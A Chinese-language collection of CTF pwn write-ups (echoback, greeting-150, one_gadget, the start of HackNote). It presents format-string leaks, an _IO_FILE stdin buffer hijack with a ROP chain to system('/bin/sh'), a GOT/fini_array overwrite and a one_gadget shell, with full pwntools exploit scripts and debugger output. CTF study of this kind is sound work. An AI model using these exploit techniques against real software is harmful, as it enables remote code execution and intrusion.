OTHER WRITE UP FOR ME echoback 题目来源: World of Attack & Defense
checksec 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 __fastcall sub_B80 (_BYTE *a1) { size_t nbytes; unsigned __int64 v3; v3 = __readfsqword(0x28 u); memset ((char *)&nbytes + 4 , 0 , 8uLL ); printf ("length:" , 0LL ); _isoc99_scanf("%d" , &nbytes); getchar(); if ( (nbytes & 0x80000000 ) != 0LL || (signed int )nbytes > 6 ) LODWORD(nbytes) = 7 ; read(0 , (char *)&nbytes + 4 , (unsigned int )nbytes); if ( *a1 ) printf ("%s say:" , a1); else printf ("anonymous say:" , (char *)&nbytes + 4 ); printf ((const char *)&nbytes + 4 ); return __readfsqword(0x28 u) ^ v3; }
明显的字符串漏洞,但是最多只允许输入7个字符.
思路 通过利用字符串漏洞泄漏libc基地址, elf基地址, 修改 _IO_FILE struct,然后打入stack 中的 &main ret构造rop链
泄漏libc基址 传入 %p调试到vfprintf函数堆栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 0x7ffe31470828 —▸ 0x7ffe3146e250 ◂— 'anonymous say:' 07:0038│ 0x7ffe31470830 —▸ 0x7f81d9132780 (_IO_stdfile_1_lock) ◂— 0x0 08:0040│ 0x7ffe31470838 —▸ 0x7f81d8e632c0 (__write_nocancel+7) ◂— cmp rax, -0xfff 09:0048│ 0x7ffe31470840 —▸ 0x7f81d9339700 ◂— 0x7f81d9339700 0a:0050│ 0x7ffe31470848 ◂— 0xe 0b:0058│ 0x7ffe31470850 ◂— 0x6562b026 0c:0060│ 0x7ffe31470858 —▸ 0x7f81d91316a3 (_IO_2_1_stdout_+131) ◂— 0x132780000000000a ... ... 28:0140│ 0x7ffe31470938 ◂— 0x746df13682d53b00 29:0148│ 0x7ffe31470940 —▸ 0x562293252d30 ◂— push r15 2a:0150│ 0x7ffe31470948 —▸ 0x7f81d8d8c830 (__libc_start_main+240) ◂— mov edi, eax 2b:0158│ 0x7ffe31470950 —▸ 0x7ffe31470a28 —▸ 0x7ffe31470fb8
通过调试, 传入 %p打印时, 打印出0x7ffe31470830, 而 __libc_start_main+240 的地址在0x7ffe31470948, 调试不断加1进行核对地址,最终在 %19$p打印出libc_start_main + 240的地址.然后通过计算即可获取libc基址
1 2 3 4 5 6 7 8 9 10 11 sla('>>' , str (2 )) sla(':' , str (7 )) p = '%19$p' sl(p) ru('0x' ) libc_start_main = int (r(12 ),16 ) - 240 libc_base = libc_start_main - lib.sym['__libc_start_main' ] li('libc_base:' + hex (libc_base)) sys_addr = libc_base + lib.sym['system' ] sh_addr = libc_base + lib.search('/bin/sh' ).next ()
泄漏elf基址 传入 %14$p查看printf函数中堆栈分布如下
1 2 3 4 5 6 7 8 05:0028│ rdi 0x7ffc6b02ca80 ◂— 0xa7024343125 /* '%14$p\n' */ 06:0030│ 0x7ffc6b02ca88 ◂— 0xb8b63dff1d802400 07:0038│ rbp 0x7ffc6b02ca90 —▸ 0x7ffc6b02cac0 —▸ 0x55f4515b5d30 ◂— push r15 08:0040│ 0x7ffc6b02ca98 —▸ 0x55f4515b5d08 ◂— jmp 0x55f4515b5d0b 09:0048│ 0x7ffc6b02caa0 —▸ 0x55f4515b5d30 ◂— push r15 0a:0050│ 0x7ffc6b02caa8 ◂— 0x200000000 0b:0058│ 0x7ffc6b02cab0 ◂— 0x0 0c:0060│ 0x7ffc6b02cab8 ◂— 0xb8b63dff1d802400
打印出0x55f4515b5d30 ◂— push r15, 而这个位置刚好在init函数的起始位置.在文件中偏移为: 0xD30 ( push r15),这就可以计算elf的偏移了.然后获取main, pop rid的地址.
1 2 3 4 5 6 7 8 9 10 sla('>>' , str (2 )) sla(':' , str (7 )) p = '%14$p' sl(p) ru('0x' ) elf_base = int (r(12 ),16 ) - 0xD30 main_addr = elf_base + 0xC6C pop_rdi_ret = elf_base + 0xd93 li('elf_base:' + hex (elf_base))
泄漏堆栈中main ret地址 下图为printf函数中的堆栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> stack 100 00:0000│ rsp 0x7fffb8e184a8 —▸ 0x55ff36954c55 ◂— nop 01:0008│ 0x7fffb8e184b0 —▸ 0x55ff36954ef8 ◂— xor ebp, dword ptr [rsi] /* '3. exit' */ 02:0010│ 0x7fffb8e184b8 —▸ 0x7fffb8e18500 ◂— 0x0 03:0018│ 0x7fffb8e184c0 ◂— 0xa32 /* '2\n' */ 04:0020│ 0x7fffb8e184c8 ◂— 0x7134b9900 05:0028│ rdi 0x7fffb8e184d0 ◂— 0xa7024353125 /* '%15$p\n' */ 06:0030│ 0x7fffb8e184d8 ◂— 0xc7f0a378134b9900 07:0038│ rbp 0x7fffb8e184e0 —▸ 0x7fffb8e18510 #泄漏该地址, 获取main ret 08:0040│ 0x7fffb8e184e8 —▸ 0x55ff36954d08 ◂— jmp 0x55ff36954d0b 09:0048│ 0x7fffb8e184f0 —▸ 0x55ff36954d30 ◂— push r15 0a:0050│ 0x7fffb8e184f8 ◂— 0x200000000 0b:0058│ 0x7fffb8e18500 ◂— 0x0 0c:0060│ 0x7fffb8e18508 ◂— 0xc7f0a378134b9900 0d:0068│ 0x7fffb8e18510 —▸ 0x55ff36954d30 ◂— push r15 # main rbp 0e:0070│ 0x7fffb8e18518 —▸ 0x7fa5b79af830 (__libc_start_main+240) #mian的返回地址
以上0x7fffb8e18518就是我们要获取的main ret的堆栈地址, 在这里不能直接泄漏堆栈中的main ret地址,但可以通过泄漏 rbp地址来+8即可获取man ret.
1 2 3 4 5 6 7 sla('>>' , str (2 )) sla(':' , str (7 )) p = '%12$p' sl(p) ru('0x' ) main_ret = int (r(12 ),16 ) + 0x8
修改_IO_FILE将数据打入stack 目前,准备工作基本完毕, 现在就是要靠修改main ret地址来劫持程序流, 但是我们想构造payload,往main_ret处写数据,但是光一个p64(main_ret)包装就占了8个字符,而我们最多允许输入7个字符,setName,它不是白放那里的,它有着重要的作用.
它也可以接受7个字符,我们可以把main_ret存入a1中,虽然只允许7个字符,p64()有8字节,但是末尾一般都是0,由于是低位存储,也就是数据的前导0被舍弃,没有影响,除非那个数据8字节没有前导0
然后,发现,%16$p输出的就是a1的数据,于是,可以先setName(p64(addr)),然后利用%16$n来对addr处写数据然而,我们这样来直接写main_ret处的数据,还是不行,因为我们构造的payload始终长度都会大于7,于是,就需要用到一个新知识了,为了绕过7个字符的限制,利用printf漏洞先去攻击scanf内部结构,然后就可以直接利用scanf往目标处输入数据,这就需要去了解scanf的源码.
_IO_FILE struct 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 struct _IO_FILE { int _flags; char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end; char *_IO_buf_base; char *_IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; __off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
_IO_new_file_underflow 看看文件的读取过程**_IO_new_file_underflow** 这个函数最终调用了_IO_SYSREAD****系统调用来读取文件。在这之前,它做了一些处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 int _IO_new_file_underflow (FILE *fp) { ssize_t count; if (fp->_flags & _IO_EOF_SEEN) return EOF; if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (fp->_IO_buf_base == NULL ) { if (fp->_IO_save_base != NULL ) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { _IO_acquire_lock (_IO_stdout); if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW (_IO_stdout, EOF); _IO_release_lock (_IO_stdout); } _IO_switch_to_get_mode (fp); fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0 ) { if (count == 0 ) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0 ; } fp->_IO_read_end += count; if (count == 0 ) { fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr; }
利用 IO_SYSREAD系统调用,向fp->_IO_buf_base处写入读取的数据,并且长度为 fp->_IO_buf_end - fp->_IO_buf_base
要是能够修改_IO_buf_base和_IO_buf_end 那么就可以实现任意位置和想要的长度
首先需要定位到_IO_2_1_stdin_结构体在内存中的位置,然后再定位到_IO_buf_base 的位置,_IO_buf_base位于结构体中的第8个,所以,它的_IO_buf_base_addr = _IO_buf_base + 0x8 * 7 (注意结构体对齐,int占用内存8字节,所以为 0x8 * 7 而不是 0x8 * 6 + 4)
1 2 3 4 _IO_2_1_stdin_ = libc_base + lib.sym['_IO_2_1_stdin_' ] _IO_buf_base = _IO_2_1_stdin_ + 0x8 * 7 li('_IO_buf_base' + hex (_IO_buf_base))
来看看_IO_buf_base的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0x7ffb6a2b08e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffb6a2b0964 0x7ffb6a2b08f0 <_IO_2_1_stdin_+16>: 0x00007ffb6a2b0964 0x00007ffb6a2b0963 0x7ffb6a2b0900 <_IO_2_1_stdin_+32>: 0x00007ffb6a2b0963 0x00007ffb6a2b0963 0x7ffb6a2b0910 <_IO_2_1_stdin_+48>: 0x00007ffb6a2b0963 0x00007ffb6a2b0963 //IO_buf_base 0x7ffb6a2b0920 <_IO_2_1_stdin_+64>: 0x00007ffb6a2b0964 0x0000000000000000 //IO_buf_end 0x7ffb6a2b0930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffb6a2b0940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffb6a2b0950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffb6a2b0960 <_IO_2_1_stdin_+128>: 0x000000000a000000 0x00007ffb6a2b2790 0x7ffb6a2b0970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffb6a2b0980 <_IO_2_1_stdin_+160>: 0x00007ffb6a2b09c0 0x0000000000000000 0x7ffb6a2b0990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffb6a2b09a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000 0x7ffb6a2b09b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffb6a2af6e0
先是stdin的位置,当前位于0x7ffb6a2b08e0
然后是_IO_buf_base,它位于0x7ffb6a2b08e0 + 0x8 * 7 = 0x7ffb6a2b0918 ,它的值为0x00007ffb6a2b0963 , 并且要知道,它的值相对_IO_2_1_stdin_的地址总是不变的,假如我们把_IO_buf_base的低一字节覆盖为0,那么他就变成了0x00007ffb6a2b0900 ,也就是0x7ffb6a2b08e0 + 0x8 * 4处,跑到了结构体内部去了,是结构体中的第5个数据处,也是_IO_write_base处,并且由于_IO_buf_end没变,那么我们可以从0x00007ffb6a2b0900处向后输入0x64-0x00 = 0x64个字符,那么就能把_IO_buf_base和_IO_buf_end都覆盖成关键地址,就能绕过7个字符的输入限制,且可以实现write anything anywhere
先来覆盖_IO_buf_base的低1字节为0
1 2 3 4 5 6 7 8 sla('>>' , str (1 )) p = p64(_IO_buf_base) sl(p) sla('>>' , str (2 )) sla(':' , str (7 )) p = '%16$hhn' sl(p)
接下来,就可以覆盖结构体里的一些数据了
对于_IO_buf_base之前的数据(_IO_write_base_IO_write_ptr, _IO_write_end),最好原样的放回,不然不知道会出现什么问题,经过调试,发现它们的值都是0x83 + _IO_2_1_stdin_addr,然后接下来,覆盖_IO_buf_base和_IO_buf_end,将它设置为堆栈中的&main ret, 然后即可实现写入数据时,就会向堆栈中写入数据,前提还需满足一些条件.
于是,payload
1 2 3 4 5 6 p = p64(_IO_2_1_stdin_ + 0x83 ) * 3 p += p64(main_ret) + p64(main_ret + 0x8 * 3 ) sla('>>' , str (2 )) sa(':' , p) sl('' )
在length:后面发送payload, 因为这个地方用到了scanf
现在,得绕过一个判断,这样调用scanf 输入数据时,才会往缓冲区写入输入的数据
1 2 if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr;
之前,覆盖结构体数据时,后面执行了这一步,使得 fp->_IO_read_end += count 相当于fp->_IO_read_end += len(p)
1 2 3 4 5 6 fp->_IO_read_end = fp->_IO_buf_base; .... .... count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); .... .... fp->_IO_read_end += count;
下面为输入之前的_IO_2_1_stdin_
1 2 3 4 5 6 0x7fa95326b8e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007fa95326b901 //_IO_read_ptr //IO_read_end 0x7fa95326b8f0 <_IO_2_1_stdin_+16>: 0x00007fa95326b928 0x00007fa95326b900 0x7fa95326b900 <_IO_2_1_stdin_+32>: 0x00007fa95326b963 0x00007fa95326b963 0x7fa95326b910 <_IO_2_1_stdin_+48>: 0x00007fa95326b963 0x00007ffddf79fbe8 0x7fa95326b920 <_IO_2_1_stdin_+64>: 0x00007ffddf79fc00 0x0000000000000000
而 getchar() 的作用是使fp->_IO_read_ptr + 1
由于在覆盖结构体后,scanf的后面有一个getchar,执行了一次,所以还需要调用len(p)-1次getchar(),使_IO_read_ptr == PIO_read_end
1 2 3 4 5 for i in range (0 , len (p) - 1 ): sla('>>' , str (2 )) sla(':' , ',' ) sl(' ' )
调用 len(p) - 1次getchar()后, IO_2_1_stdin 如下
1 2 3 4 5 6 7 8 9 pwndbg> x /40gx &_IO_2_1_stdin_ 0x7f1a9a51f8e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f1a9a51f928 //_IO_read_ptr //IO_read_end 0x7f1a9a51f8f0 <_IO_2_1_stdin_+16>: 0x00007f1a9a51f928 0x00007f1a9a51f900 0x7f1a9a51f900 <_IO_2_1_stdin_+32>: 0x00007f1a9a51f963 0x00007f1a9a51f963 0x7f1a9a51f910 <_IO_2_1_stdin_+48>: 0x00007f1a9a51f963 0x00007fff14080e88 0x7f1a9a51f920 <_IO_2_1_stdin_+64>: 0x00007fff14080ea0 0x0000000000000000 0x7f1a9a51f930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
构造rop链 然后再次输入的时候,输入的数据就会在stack中了,现在就可以构造rop链.
1 2 3 4 5 sla('>>' , str (2 )) p = p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr) sla(':' , p) sl('' )
下面为输入修改后的堆栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> stack 50 00:0000│ rsp 0x7fff92ceeed8 —▸ 0x55c9b5337ad4 ◂— movzx eax, byte ptr [rbp - 0x10] 01:0008│ rsi 0x7fff92ceeee0 ◂— 0x0 02:0010│ 0x7fff92ceeee8 ◂— 0x4a74f6baf7ec8d00 03:0018│ rbp 0x7fff92ceeef0 —▸ 0x7fff92ceef00 —▸ 0x7fff92ceef30 —▸ 0x55c9b5337d30 ◂— push r15 04:0020│ 0x7fff92ceeef8 —▸ 0x55c9b5337b43 ◂— pop rbp 05:0028│ 0x7fff92ceef00 —▸ 0x7fff92ceef30 —▸ 0x55c9b5337d30 ◂— push r15 06:0030│ 0x7fff92ceef08 —▸ 0x55c9b5337ccd ◂— mov dword ptr [rbp - 0x14], eax 07:0038│ 0x7fff92ceef10 —▸ 0x55c9b5337d30 ◂— push r15 08:0040│ 0x7fff92ceef18 ◂— 0xffffffda00000001 09:0048│ 0x7fff92ceef20 —▸ 0x7f53670f8918 (_IO_2_1_stdin_+56) —▸ 0x7fff92ceef38 —▸ 0x55c9b5337d93 ◂— pop rdi 0a:0050│ 0x7fff92ceef28 ◂— 0x4a74f6baf7ec8d00 0b:0058│ 0x7fff92ceef30 —▸ 0x55c9b5337d30 ◂— push r15 0c:0060│ 0x7fff92ceef38 —▸ 0x55c9b5337d93 ◂— pop rdi //修改为pop_rdi _ret 0d:0068│ 0x7fff92ceef40 —▸ 0x7f5366ec0d57 ◂— 0x68732f6e69622f /* '/bin/sh' */ 0e:0070│ 0x7fff92ceef48 —▸ 0x7f5366d79390 (system) ◂— test rdi, rdi
getshell 只需使main函数ret即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 from pwn import * context(arch = 'amd64' , os = 'linux' , log_level='debug' ) exeFile = "echo_back" libFile = "./libc.so.6" remoteIp = "111.198.29.45" remotePort = 54180 LOCAL = 1 LIBC = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def eb (length, text ): sl(text)def exploit (): sla('>>' , str (2 )) sla(':' , str (7 )) p = '%19$p' sl(p) ru('0x' ) libc_start_main = int (r(12 ),16 ) - 240 libc_base = libc_start_main - lib.sym['__libc_start_main' ] li('libc_base:' + hex (libc_base)) sys_addr = libc_base + lib.sym['system' ] sh_addr = libc_base + lib.search('/bin/sh' ).next () sla('>>' , str (2 )) sla(':' , str (7 )) p = '%14$p' sl(p) ru('0x' ) elf_base = int (r(12 ),16 ) - 0xD30 main_addr = elf_base + 0xC6C pop_rdi_ret = elf_base + 0xd93 li('elf_base:' + hex (elf_base)) sla('>>' , str (2 )) sla(':' , str (7 )) p = '%12$p' sl(p) ru('0x' ) main_ret = int (r(12 ),16 ) + 0x8 _IO_2_1_stdin_ = libc_base + lib.sym['_IO_2_1_stdin_' ] _IO_buf_base = _IO_2_1_stdin_ + 0x8 * 7 li('_IO_buf_base' + hex (_IO_buf_base)) sla('>>' , str (1 )) p = p64(_IO_buf_base) sl(p) sla('>>' , str (2 )) sla(':' , str (7 )) p = '%16$hhn' sl(p) p = p64(_IO_2_1_stdin_ + 0x83 ) * 3 p += p64(main_ret) + p64(main_ret + 0x8 * 3 ) sla('>>' , str (2 )) sa(':' , p) sl('' ) for i in range (0 , len (p) - 1 ): sla('>>' , str (2 )) sla(':' , ',' ) sl(' ' ) sla('>>' , str (2 )) p = p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr) sla(':' , p) sl('' ) sla('>>' , str (3 )) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIBC: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIBC: lib = ELF(libFile) exploit() finish()
greeting-150 保护 1 2 3 4 5 Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞 字符串漏洞
源代码
1 2 3 4 5 6 7 8 9 10 char s; char v5; unsigned int v6; v6 = __readgsdword(0x14 u);printf ("Please tell me your name... " );if ( !getnline (&v5, 0x40 ) ) return puts ("Don't ignore me ;( " );sprintf (&s, "Nice to meet you, %s :)\n" , &v5);return printf (&s); #字符串漏洞
利用 由于程序中只有一个字符串漏洞, 执行字符串漏洞后结束,这时就需要覆盖fini_array为start函数进行再次执行程序同时修改strlen的got表为system plt地址.
简单介绍一下: fini_array, 在main
函数前会调用.init
段代码和.init_arra
y段的函数数组中每一个函数指针。同样的,main
函数结束后也会调用.fin
i段代码和.fini._arrary
段的函数数组中的每一个函数指针
字符串漏洞设置大的值注意的地方 1 2 hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数 h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数
第一次%xc%hhn的时候,要扣掉前面摆放的address的长度。比如32位时,其前面会摆放4个地址,这个时候就是x需要减去4x4 = 16.
之后每个%xc 必需扣掉前一个写入 byte 的值总字符数才会是这个写入需要的长度。比如 第一次写入值为 90 第二个写入 120 此时应为%30c% offset$hhn
当某一次写入的值比前面写入的要小的时候,就需要整数overflow回来。比如:需要写入的一个字节,用的是hhn的时候,前面那次写入的是0x80,这次写入的是0x50,这时候就用0x50可以加上0x100(256)=0x150 (这时候因为是hhn,在截取的时候就是截取的0x50), 再减去0x80 = 0xD0(208),也就是填入%208c%offset$hhn即可
单字节覆盖常用脚本(ctf-wiki):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def fmt (prev, word, index ): if prev < word: result = word - prev fmtstr = "%" + str (result) + "c" elif prev == word: result = 0 else : result = 256 + word - prev fmtstr = "%" + str (result) + "c" fmtstr += "%" + str (index) + "$hhn" return fmtstrdef fmt_str (offset, size, addr, target ): payload = "" for i in range (4 ): if size == 4 : payload += p32(addr + i) else : payload += p64(addr + i) prev = len (payload) for i in range (4 ): payload += fmt(prev, (target >> i * 8 ) & 0xff , offset + i) prev = (target >> i * 8 ) & 0xff return payload''' 其中每个参数的含义基本如下 offset表示要覆盖的地址最初的偏移 size表示机器字长 addr表示将要覆盖的地址。 target表示我们要覆盖为的目的变量值。 '''
通过上面的介绍, 根据以上脚本写字符串漏洞原理写exp
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import * context(arch = 'i386' , os = 'linux' , log_level='debug' ) exeFile = "greeting-150" libFile = "" remoteIp = "111.198.29.45" remotePort = 46553 LOCAL = 0 LIBC = 0 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def exploit (): ru('... ' ) strlen_got = exe.got['strlen' ] fini_array = 0x08049934 start_addr = 0x080484F0 system_plt = 0x08048490 offset = 12 prelen = len ('Nice to meet you, ' ) li('strlen_got: ' + hex (strlen_got)) li('fini_array: ' + hex (fini_array)) p = 'AA' p += p32(strlen_got + 2 ) p += p32(fini_array + 2 ) p += p32(strlen_got) p += p32(fini_array) p += '%' + str (0x0804 - 0x12 - prelen) + 'c%' + str (offset) + '$hn' p += '%' + str (offset + 1 ) + '$hn' p += '%' + str (0x8490 - 0x804 ) + 'c%' + str (offset + 2 ) + '$hn' p += '%' + str (0x84F0 - 0x8490 ) + 'c%' + str (offset + 3 ) + '$hn' sl(p)def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIBC: libc = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIBC: libc = ELF(libFile) exploit() finish()
One Gadget one-gadget 是glibc里调用execve('/bin/sh', NULL, NULL)
的一段非常有用的gadget。在我们能够控制ip(也就是pc)的时候,用one-gadget来做RCE(远程代码执行)非常方便,比如有时候我们能够做一个任意函数执行,但是做不到控制第一个参数,这样就没办法调用system("sh")
,这个时候one gadget就可以搞定了
使用one_gadget工具进行获取oen_gadget
one_gadget工具安装:
github: https://github.com/david942j/one_gadget
1 2 3 sudo apt install ruby sudo apt install gem sudo gem install one_gadget
通过ida查看伪代码
1 2 3 4 5 6 7 8 9 10 void (*v4)(void ); void (*v5)(void ); unsigned __int64 v6; v6 = __readfsqword(0x28 u);init (*(_QWORD *)&argc, argv, envp);printf ("Give me your one gadget:" ); __isoc99_scanf("%ld" , &v4); v5 = v4;v4 ();
思路: 通过init打印出printf在libc中的地址, 然后计算libc基地址, 使用one_gadget打shell
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import * context(arch = 'amd64' , os = 'linux' , log_level='debug' ) exeFile = "one_gadget" libFile = "./libc-2.29.so" remoteIp = "node3.buuoj.cn" remotePort = 26163 LOCAL = 0 LIBC = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def exploit (): ru('0x' ) print_addr = int (r(12 ), 16 ) li('print_addr:' + hex (print_addr)) lib_base = print_addr - lib.sym['printf' ] one_gadget =[0xe237f ,0xe2383 ,0xe2386 ,0x106ef8 ] sh = lib_base + one_gadget[3 ] li('lib_base:' + hex (lib_base)) li('OG addr:' + hex (sh)) ru(':' ) p = str (sh) sl(p) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIBC: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = remote(remoteIp, remotePort) if LIBC: lib = ELF(libFile) exploit() finish()''' pwn@Ubuntu:~/share$ one_gadget libc-2.29.so 0xe237f execve("/bin/sh", rcx, [rbp-0x70]) constraints: [rcx] == NULL || rcx == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe2383 execve("/bin/sh", rcx, rdx) constraints: [rcx] == NULL || rcx == NULL [rdx] == NULL || rdx == NULL 0xe2386 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL 0x106ef8 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
HackNote 来源 World of Attack & Defense
难度 4 / 10
保护 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
简单描述 相对比较简单的堆利用题目, 保护机制比较少,涉及知识点也比较少…
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 unsigned int rm () { int v1; char buf; unsigned int v3; v3 = __readgsdword(0x14 u); printf ("Index :" ); read(0 , &buf, 4u ); v1 = atoi(&buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts ("Out of bound!" ); _exit(0 ); } if ( ptr[v1] ) { free (*((void **)ptr[v1] + 1 )); free (ptr[v1]); puts ("Success" ); } return __readgsdword(0x14 u) ^ v3; } ... ... unsigned int puts_0 () { int v1; char buf; unsigned int v3; v3 = __readgsdword(0x14 u); printf ("Index :" ); read(0 , &buf, 4u ); v1 = atoi(&buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts ("Out of bound!" ); _exit(0 ); } if ( ptr[v1] ) (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); return __readgsdword(0x14 u) ^ v3; }int __cdecl addputs (int a1) { return puts (*(const char **)(a1 + 4 )); }
知识点 堆的基本利用
思路 使用UAF漏洞实现和在堆中调用指针函数漏洞来实现获取libc基址,获取system地址,再次使用UAF修改该指针打印调用system获得shell
